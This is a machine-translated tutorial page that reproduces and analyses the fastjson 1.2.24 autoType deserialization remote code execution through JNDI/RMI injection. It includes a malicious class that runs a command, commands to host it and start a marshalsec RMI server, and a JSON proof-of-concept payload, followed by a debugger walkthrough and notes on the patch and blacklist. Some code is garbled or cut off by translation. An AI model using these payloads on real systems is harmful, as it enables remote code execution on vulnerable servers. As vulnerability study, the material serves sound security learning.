Network Security Internet Technology Development Database Servers Mobile Phone Android Software Apple Software Computer Software News IT Information

In addition to Weibo, there is also WeChat

Please pay attention

WeChat public account

Shulou

How to reproduce and analyze fastjson1.2.24

2025-01-16 Update From: SLTechnology News&Howtos shulou NAV: SLTechnology News&Howtos > Network Security >

Share

Shulou(Shulou.com)05/31 Report--

In this issue, the editor will bring you about how to reproduce and analyze fastjson1.2.24. The article is rich in content and analyzes and narrates it from a professional point of view. I hope you can get something after reading this article.

Shooting range construction

Create using the idea maven project and import the coordinates of fastjson in pom. (because this article repeats the rce of 1.2.24, so the version should be less than 1.2.24.

Take 1.2.23 version coordinates).

After import, click the maven icon on the right to import.

Pit spot

There is a very small point in the environment, which can be said to be a big pit. I have been debugging it for a long time. The previous error report is as follows:

1. Rmi+jndi environment: java.sql.SQLException: JdbcRowSet (connection) JNDI cannot connect

2. Ldap+jndi environment: java.lang.ClassCastException: javax.naming.Reference cannot be

Cast to javax.sql.DataSource

Later, it was found that the environment of java was not configured correctly, although it was all jdk1.8, but the reproduced environment was 1.8.0102, and the previous environment 1.8.0221did not work. Because after JDK8u113, the system property com.sun.jndi.rmi.object.trustURLCodebase,

The default value of com.sun.jndi.cosnaming.object.trustURLCodebase is changed to false, which means that RMI and cosnaming are not allowed to load Reference factory classes from remote Codebase by default.

Loophole recurrence

Class files to be downloaded remotely

Simply play a calculator here, and you can also rebound shell.

Package com.v1rus;public class Calc {public Calc () {try {Runtime.getRuntime () .exec ("calc");} catch (Exception e) {e.printStackTrace ();}} public static void main (String [] argv) {Calc c = new Calc ();}}

Enter javac Calc.java on the command line, and the Calc.class file is generated under the current folder.

II. Http services

You can simply use python3 to start the http service in the folder of the current Calc.class file

Python-m http.server 8088

III. RMI service

Use marshalsec to start rmi service

Java-cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.249.156:8088/#Calc" 8

In short, you put the class file on the http service, bind the class file with the rmi service, and apply the port of the rmi service on port 8888.

Loophole analysis

In the process of parsing json, fastjson supports using autoType to instantiate a specific class and call the set/get method of that class to access properties. By finding the relevant methods in the code, some malicious exploitation chains can be constructed.

First, put the poc demo used by the server:

Package com.v1rus; import com.alibaba.fastjson.JSON; public class Test {public static void main (String [] args) {String v1rus = "{\" @ type\ ":\" com.sun.rowset.JdbcRowSetImpl\ ",\" dataSourceName\ ":\" rmi://192.168.249.15 JSON.parseObject (v1rus);}} "

Be familiar with fastjson work flow

The class used in our poc is

Com.sun.rowset.JdbcRowSetImpl

Exception in thread "main" com.alibaba.fastjson.JSONException: set property error AutoCommitat com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue (FieldDeserializer.java:131) at com.alibaba.fastjson.parser.deserializer.DefaultFieldDeserializer.parseField (DefaultFieldDeserializer.jat com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField (JavaBeanDeserializer.java:722) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze (JavaBeanDeserializer.java:568) at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest (JavaBeanDeserializer.java:877) at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_JdbcRowSetImpl.deserialze ( Unknown Soat com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze (JavaBeanDeserializer.java:183) at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject (DefaultJSONParser.java:368) at com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1327) at com.alibaba.fastjson.parser.DefaultJSONParser.parse (DefaultJSONParser.java:1293) at com.alibaba.fastjson.JSON.parse (JSON.java:137) at com.alibaba.fastjson.JSON.parse (JSON.java:128) at com.alibaba.fastjson. JSON.parseObject (JSON.java:201) at com.v1rus.Test.main (Test.java:8)

Let's go directly into the class com.alibaba.fastjson.JSON and put a breakpoint above the parseObject function.

Will eventually follow this method. Use the DefaultJSONParser class to parse the string we passed in

Follow the 74 lines of parse code. Here is to enter the key function according to the judgment that the token of JSONLexer is 12 to case.

The value of token is returned according to the lexer.token () method, where it is 12, so go into else for processing.

Then enter the while (true) loop, the first step is lexer.skipWhitespace, follow up to see the method

So the "sign" is returned, so you can enter the if judgment, and we can also know from the variable name that the scanSymbol method returns the key keyword.

(key, value pair)

You can simply follow up.

Com.alibaba.fastjson.parser.JSONLexerBase#scanSymbol

This function goes through the process, and finally returns the value string through the closing judgment of double quotation marks. What is returned here is the first string @ type.

Continue down here, compare key with the global static constant to see if it is @ type, and if so, go to if to determine.

Follow up com.alibaba.fastjson.util#loadClass, which does not do any blacklist filtering, that is to say, this class object is returned.

The above line of code, follow up the analysis

The judgment is that the class name is returned

Follow-up method analysis returned

FastJsonASMDeserializer_1_JdbcRowSetImpl

After following the deserialze, continue debugging, enter the setDataSourceName method, and set the dataSourceName value to the address of the target RMI service.

Follow all the way to the parseField method

Call the smartMatch method to handle the key value we passed in, and follow this method

And then follow back to

((FieldDeserializer) fieldDeserializer) .parseField (parser, object, objectType

FieldValues); this line of code, enter the parseField method of FieldDeserializer. Do some Field assignment operations.

Then follow up.

Com.alibaba.fastjson.parser.deserializer.FieldDeserializer#setValue

Method, judge the class according to fieldInfo.fieldClass, finally enter the else body pointed by the arrow, and call the key method of setAutoCommit through reflection. Hey, hey, the next thing is not to do whatever you want.

The class that comes with this jdk must first get a connection, and if not, execute the connect method first. Let's go inside and see what's inside.

Because we set the value of dataSourceName through the setDataSourceName () method earlier, we go into esle if and get it through the lookup method

DataSource . The protagonist of rmi (java remote method invocation mechanism) is this method. If the parameters passed in the lookup are controllable, it can point to the rmi service we constructed, then it is very likely to be attacked. (InitialContext

Is a class that implements the Context interface. Use this class as the entry point for the JNDI naming service. )

Here is also a brief mention of the relationship between JNDI and RMI for better understanding. Simply put, JNDI (Java Naming and Directory)

Interface) is a set of application program interfaces. The underlying JNDI supports RMI remote objects, and services registered with RMI can be accessed and invoked through the JNDI interface. When the JNDI interface is initialized, you can set the RMI

URL is passed in as an argument, and JNDI injection appears in the client's lookup () function.

The reference class is wrapped in referenceWrapper and registered on the rmi service implementation of jndi, where the class bound by the rmi server does not implement the corresponding interface, but binds an external remote object through the Refernces class. (mentioned here, more on later.) follow all the way to the final method, which will load the remote class implementation rce after the method is executed. You can see that var3 here is the RegistryContext class that calls the lookup function.

The parameter passed in when entering is Calc, that is, the request file after /. If it is not empty, call the lookup method of this.registry (the concept of RegistryImpl_Stub,stub and skel is relative, and not only exists between the server and the client). It is controllable, so it creates a JNDI injection vulnerability.

If you continue to follow up on marshelsec, you may get this error:

Java.net.SocketTimeoutException: Read timed outat java.net.SocketInputStream.socketRead0 (Native Method) at java.net.SocketInputStream.socketRead (Unknown Source) at java.net.SocketInputStream.read (Unknown Source) at java.net.SocketInputStream.read (Unknown Source) at java.io.BufferedInputStream.fill (Unknown Source) at java.io.BufferedInputStream.read (Unknown Source) at java.io.FilterInputStream.read (Unknown Source) at marshalsec.jndi.RMIRefServer.doMessage (RMIRefServer.java:221) at marshalsec.jndi.RMIRefServer.run (RMIRefServer.java: 171) at marshalsec.jndi.RMIRefServer.main (RMIRefServer.java:117)

The reason is that the network time out to read data, we follow the method at the same time longer data transmission time, waiting for the timeout to throw an error. At this point, the use of the part is over.

Doubt

Because the RMI server in the JNDI injection finally executes the remote method, but the target server lookup () a malicious RMI service address, instead, the target server executes. So what is the reason?

In JNDI services, in addition to binding remote objects directly, the RMI server can also bind an external remote object (an object outside the current name directory system) through the Reference class. After binding the Reference, the server first obtains the reference to the bound object through Referenceable.getReference () and saves it in the directory. When the client looks up the remote object in lookup (), the client gets the corresponding object

Factory, which eventually converts reference into a concrete object instance through the factory class.

In short, when Server binds Reference, the malicious object is not on Server. Reference points to an address that Client will go to.

Take out the object and instantiate it in Client.

Summary

When the attacker prepares the rmi service and the web service and injects the rmi absolute path into the lookup method, the victim JNDI interface points to the attacker-controlled rmi server, and the JNDI interface remotely loads malicious code to the attacker-controlled web server and executes the constructor to cause RCE.

Vulnerability repair

This vulnerability has been patched since 1.2.25 and will be fixed in the

Com.alibaba.fastjson.parser.DefaultJSONParser#parseObject

Method called in the

Com.alibaba.fastjson.parser.ParserConfig#checkAutoType

To check whether the class we passed in is in the blacklist, that is, replace TypeUtils.loadClass with the checkAutoType () function:

LoadClass is called only if the check of the whitelist is passed.

But here both whitelist and blacklist are used to restrict deserialized classes, and blacklist judgment will be made only when the whitelist is not passed, which is equivalent to whitelist.

The list doesn't really play the role of a whitelist. We can still go into the follow-up process to bypass.

Some common deserialization exploit chains are prohibited from the blacklist:

Bshcom.mchangecom.sun.java.lang.Threadjava.net.Socketjava.rmijavax.xmlorg.apache.bcelorg.apache.commons.beanutilsorg.apache.commons.collections.Transformerorg.apache.commons.collections.functorsorg.apache.commons.collections4.comparatorsorg.apache.commons.fileuploadorg.apache.myfaces.context.servletorg.apache.tomcatorg.apache.wicket.utilorg.codehaus.groovy.runtimeorg.hibernateorg.jbossorg.mozilla.javascriptorg.python.coreorg.springframework

Fastjson mainly uses the autotype function to implement the "@ type" field to specify the Class type of deserialization, so it's no problem to turn off autotype as much as possible. Although Fastjson implemented a blacklist after 1.2.24, there is still a risk of being bypassed.

The use of rmi in fastjson is only a means of jndi, as well as ldap and so on. It binds the reference object on the rmi server, which has little to do with the reverse sequence of the rmi itself. It will get the factory class from the server controlled by the attacker and then instantiate the factory to return

A new instance of the object referenced by JNDI.

The above is the editor for you to share how to reproduce and analyze fastjson1.2.24, if you happen to have similar doubts, you might as well refer to the above analysis to understand. If you want to know more about it, you are welcome to follow the industry information channel.

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.

Views: 0

*The comments in the above article only represent the author's personal views and do not represent the views and positions of this website. If you have more insights, please feel free to contribute and share.

Share To

Network Security

Wechat

© 2024 shulou.com SLNews company. All rights reserved.

12
Report